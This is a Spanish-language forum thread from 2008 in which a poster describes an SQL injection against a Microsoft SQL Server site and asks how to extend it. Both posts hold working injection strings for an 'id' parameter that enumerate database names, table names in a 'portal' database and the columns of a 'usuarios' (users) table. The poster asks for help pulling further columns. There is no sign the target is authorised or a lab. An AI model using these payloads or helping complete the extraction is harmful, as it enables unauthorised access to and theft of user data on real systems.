Título: duda sql inyeccion mssql Publicado por: 6666 en 6 Noviembre 2008, 00:10 am Bueno mi duda es la siguiente .. estuve realizando una inyeccion y pude sacar datos basicos ( como version,usuario,base de datos),ademąs de eso tambien saque todos los nombres de las bases de datos y de luego pude sacar todas las tablas de una sola base de datos en la cual tenia permisos el usuario.
hice lo siguiente: asi para sacar las bases de datos: ?id=45 or 1 in (SELECT TOP 1 name FROM (SELECT TOP 1 name FROM (SELECT TOP 3 name FROM master..sysdatabases ORDER BY name ASC) as foo ORDER by name DESC) as foo ORDER by name DESC)-- y cambiando el TOP mostraba las demąs y asi las tablas: ?id=45 or 1 in (SELECT TOP 1 name FROM (SELECT TOP 1 name FROM (SELECT TOP 123 name FROM portal..SYSOBJECTS ORDER BY name ASC) as foo ORDER by name DESC) as foo ORDER by name DESC)-- la pregunta es .. como puedo sacar las columnas de una tabla? me refiero a no tener que sacar todas las columnas de todas las tablas si no de una en especial .. algo parecido a esto como en mysql: from+information_schema.columns+WHERE+table_name = 'usuarios'-- como vemos en MySQL busca las columnas pero solo de esa tabla en especial. Título: Re: duda sql inyeccion mssql Publicado por: 6666 en 6 Noviembre 2008, 05:50 am perdon .. pueden mover el tema?
ya he solucionado mi problema jugando un rato con las inyecciones .. y quedo algo asi: ?id=45 or 1 in (select name FROM portal..syscolumns where id = (SELECT id FROM portal..sysobjects WHERE name = 'usuarios'));-- al hacer esto me tiro "idUsuario" ahora la nueva pregunta es .. como saco la columna siguiente? hay algo parecido a limit de mysql? o como acomodo el top y demąs para que tire la segunda? espero que puedan darme una mano .. saludos! |